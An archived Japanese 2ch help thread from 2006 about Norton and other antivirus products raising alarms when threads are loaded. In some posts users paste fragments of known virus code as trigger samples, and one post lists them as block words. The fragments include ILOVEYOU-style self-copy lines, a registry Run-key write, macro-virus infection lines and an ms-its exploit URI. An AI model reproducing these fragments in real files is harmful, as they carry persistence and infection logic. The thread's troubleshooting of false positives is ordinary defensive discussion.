c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!URLﾘﾝｸ(www.loadcash.biz) type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
672:670
06/09/14 22:07:27
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
673:670
06/09/14 22:08:40
といった感じのものです。
671か672かは分かりませんがノートンが反応してしまいます。
674:670
06/09/14 22:20:18
今やってみたのですが671と672ではノートンは反応しませんでした。
すいません、他のやつだったのかな？
675:ひよこ名無しさん
06/09/14 23:24:15
>>673-674
貼るな
他人の迷惑も考えろ。
676:<body onload=window()>
06/09/14 23:57:48
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
677:670
06/09/15 09:02:47
>>675
スマン
>>676だと何にも反応しないんだよな
反応するときはなんなのかな？
678:ひよこ名無しさん
06/09/15 12:41:38
>>677
下から二行目
679:ひよこ名無しさん
06/09/16 04:32:07 uZM1h+BC
Norton Anti Virus2003でWinXP/IE6。Live2chです。
ノートン入れたら～のWikiを見て、
Norton AntiVirusのオプション→システム＞Auto-Protect＞除外→C:\Program Files\Live2ch\logフォルダを追加。
手動スキャンにも同じようにログを除外しました。
ですが専ブラを再起動させてみてもログを取得し直して見ても、このスレや他にウイルスが貼られているスレでもウイルス警告が出てきます。
間違っていないと思うのですがどうしてでしょうか…。教えてください。
680:ひよこ名無しさん
06/09/16 05:02:15
>>679
>>643 辺りの件は対策しましたか？
NAVでも誤反応します。
681:679
06/09/16 05:06:27
すみません解決です
除外指定するのはlog保存フォルダじゃなくインストールフォルダ自体のことだったんですね
>>680
ありがとうございます
参考になりました
682:ひよこ名無しさん
06/09/17 06:36:54
携帯厨よけの誤反応作ってくれ
スレが携帯からのガキだらけで機能しなくなっちまった
683:ひよこ名無しさん
06/09/26 11:45:24
2007では対応したの？
684:ひよこ名無しさん
06/09/30 14:45:45
test
685:ひよこ名無しさん
06/10/01 12:02:45
>658ﾀｿのをしても反応するし２ちゃんねるのIPアドレスを除外
しても設定しても反応するし>17ﾀｿのﾌﾟﾛｸﾞﾗﾑは問題があるとかで
途中で動かなくなるしでハラ立ってきたんで
ワーム防止を黙らせたった(ノ｀□´)ノ≡≡≡≡≡≡≡≡┻━┻
686:ひよこ名無しさん
06/10/02 08:02:14 q3VL2ORv
管理者がサクージョ＆規制すればいい。
専ブラ使ってる漏れとしては迷惑。
687:ひよこ名無しさん
06/10/04 04:23:42
>>686
誤反応するような不便なソフトは
淘汰されて滅びたほうがいい、という考え方らすい
688:ひよこ名無しさん
06/10/04 06:54:44
test
689:cen ◆Am9xOgNMYE
06/10/05 00:10:23
>>17のソフトですが、バージョンが2.00になりました。
URLﾘﾝｸ(www.geocities.jp)
>>685
どういう状況か教えてもらえますか？
690:ひよこ名無しさん
06/10/05 15:00:29 Qin047IX
ノートン使えねえから今日からバスターにしましたぁ
691:ひよこ名無しさん
06/10/05 16:59:52
>>689
GUIになったのはいいけど.NET Frameworkが必要なければもっとよかったなぁ。
PCがしょぼいからできるだけ余計なものは入れたくないんだよね。
ウチでは古いバージョンの方を使わせてもらうことにします。
692:cen ◆Am9xOgNMYE
06/10/06 01:17:30
>>691
使っていただいてありがとうです。
.NET Frameworkを使わない前のバージョンの方が起動
が早いですね。
まあ、Visual C#で割と楽にGUIが作れるいうのが理由です＾＾；
693:キーワード
06/10/06 02:48:50
<body onload=window()>
eip = eip + unescape("%u7030%u4300")
p + w * 10 <br> End Sub <br>
LOVE-LETTER-FOR-YOU
dirsystem&"\MSKernel32.vbs
ms-its:mhtml:file://C:
its:mhtml:file://c:\
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines
kak.hta';ken=wd+'ST
Set A4 = A1.CreateTextFile(A1.BuildPath
ToInfect.CodeModule.InsertLines BGN
694:ひよこ名無しさん
06/10/06 03:37:15
>>693 キーワード NGワード
695:ひよこ名無しさん
06/10/06 18:12:11
ウィルスコードの適当な文字をNGワードに設定しとくとかじゃダメなの？
スレッドをダウンロードするからNGワードとか無意味？
696:ひよこ名無しさん
06/10/06 20:46:48
大空寺系には反応しなくなったけど、
OnLoad Rte CodeExec
なんとかならんかなぁ
697:ひよこ名無しさん
06/10/07 12:12:01
あほ
698:ひよこ名無しさん
06/10/07 23:00:36
ほす
699:ひよこ名無しさん
06/10/08 00:17:50
いい加減ウザくなったしどうせ更新時期だったからノートン先生からバスターに切り換えてみた。
確かに反応はしなくなったけど、何らかの不都合ってあるのかな。
700:ひよこ名無しさん
06/10/08 01:30:54
どなたかマカフィ誤作動の解除方法教えてください。
701:ひよこ名無しさん
06/10/12 00:38:44
ノートン先生がもうすぐ更新なんですが、
なんか、うっとうしいから今度は別のメーカーにしたいのですが・・・お勧め教えてください。
ちなみに、なぜか、Ｃドライブの空きは８％ぐらいしかない
とんでもないＰＣです。
702:経営学部の学生 ◆2H3Xipoq6Y
06/10/12 04:12:22
個人的にはジャストシステムから11月に発売のカスペルスキー６かな？
いまライフボートから出てるカスペルスキー５を買っても６が出たらアップデートできるみたいだし
703:ひよこ名無しさん
06/10/13 04:39:42
Norton Anti Virus2006を使っています。
>>658の操作中、「現在、AutoBlockで遮断しているコンピュータ」
のところに何もアドレス等が載ってないのですが
どうすればこの先誤反応解除の操作を進められるんでしょうか。
704:ひよこ名無しさん
06/10/13 09:16:01
>>703
専用ブラウザのフォルダごと全て除外にしたら俺は止まったよ
同じNorton Anti Virus2006だけど
705:ひよこ名無しさん
06/10/13 09:28:32
>>703
なにも載ってないってことは
丁度そのときに遮断されてないのだから解除する必要はない。
前半の設定ができていれば問題ないのでは？
>>704
その設定で止まるやつと
インターネットワームの誤反応とは別物だよ。
706:ひよこ名無しさん
06/10/13 12:10:09 yCzxUbTg
ノートンがVBS.Freelink.Bというウイルスに反応したのですが、
ウイルス警告のウインドウが消しても消しても出てきます。
どうすればいいのでしょうか？
707:ひよこ名無しさん
06/10/13 15:07:54 cPKv8TOO
NIS2006
winSP sp2
２ｃｈスレ読み込んだら「コンピュータを攻撃するうんぬん」ってメッセージが出てその板が一定期間
アクセス不可になる現象。回避策ある？
708:ひよこ名無しさん
06/10/13 15:15:38
ちなみにURLﾘﾝｸ(mickey.mirv.net)にはNIS２００６の対象砲は書いてない、、＞＜
709:ひよこ名無しさん
06/10/13 17:48:31
ane doe style2.41 WinXPsp2使用
Norton Internet Security2004 Norton AntiVirus2004使用
Jane doe style2.41のログを除外しているのですが
ウイルスコードが貼られてる板を開くと
「エラー」と表示され、ログを取得できません
それで、いつもNorton Internet Security2004を無効にして
その板を開くと、思ったとおりウイルスコードが張られています
この状態になると、何分間か、その板を開く事が出来なくなります
ログの除外をしているのに、なぜこうなるのでしょうか？
710:ひよこ名無しさん
06/10/13 19:22:08
>>709
設定を間違ってる
711:ひよこ名無しさん
06/10/13 19:57:21
>>710
C\Program Files\Jane Style\Logs\2ch
なんですが、間違ってるのでしょうか？
712:ひよこ名無しさん
06/10/13 21:08:55
経営学部の学生さん>>701です。
ありがとうございました。
１１月まではノートン先生が頑張ってくれそうなので、
その後の購入の参考にします。
713:ひよこ名無しさん
06/10/13 23:09:01
>>709
一定時間板が開けなくなる件の誤反応はログフォルダ除外では対応できません。
２ｃｈを見ようとすると「侵入を検出して遮断しました。」というダイアログが表示されて
２ｃｈを見れなくなってしまう問題のまとめページ。
URLﾘﾝｸ(mickey.mirv.net)
NAVの人は下記スレの698辺りから参照
ノートン誤作動対策本部
URLﾘﾝｸ(qb5.2ch.net)
>>707 NIS2006はよくわからないけど上のリンクとスレ参考にしる。
714:ひよこ名無しさん
06/10/14 00:28:20
>>713
ありがとうございます。
教えて頂いたURLﾘﾝｸ(mickey.mirv.net)を
やってみて、まただめな様なら
また来ます。ありがとうございました。
715:ひよこ名無しさん
06/10/14 14:20:25
ノートンが反応して、偽ウイルスを削除した場合
何かPCに問題は起こるんですか？
716:715
06/10/14 14:25:05
ウイルスを削除というか、駆除できずにファイル（？）ごと削除してるんですけど。。。
ご指導お願いします。
717:ひよこ名無しさん
06/10/14 14:35:27
>>715
起こらない
>>716
2chのログファイル、またはIEキャッシュファイルを監視対象から除外
718:715
06/10/14 14:41:13
>>717
ありがとうございます。
具体的には、何を削除しているのでしょうか。
例えば、以下のようなものが削除されてしまいます。
Documents and Settings \ 名前 \ Local Settings
\ Temporary Internet Files \ Content IES \ SOUTTMDI2 \ l50[1].htm
719:ひよこ名無しさん
06/10/14 17:15:19
>>718
IEキャッシュファイル
次ページ最新レス表示スレッドの検索類似スレ一覧話題のニュースおまかせリスト▼オプションを表示暇つぶし2ch
5395日前に更新/244 KB
担当:undef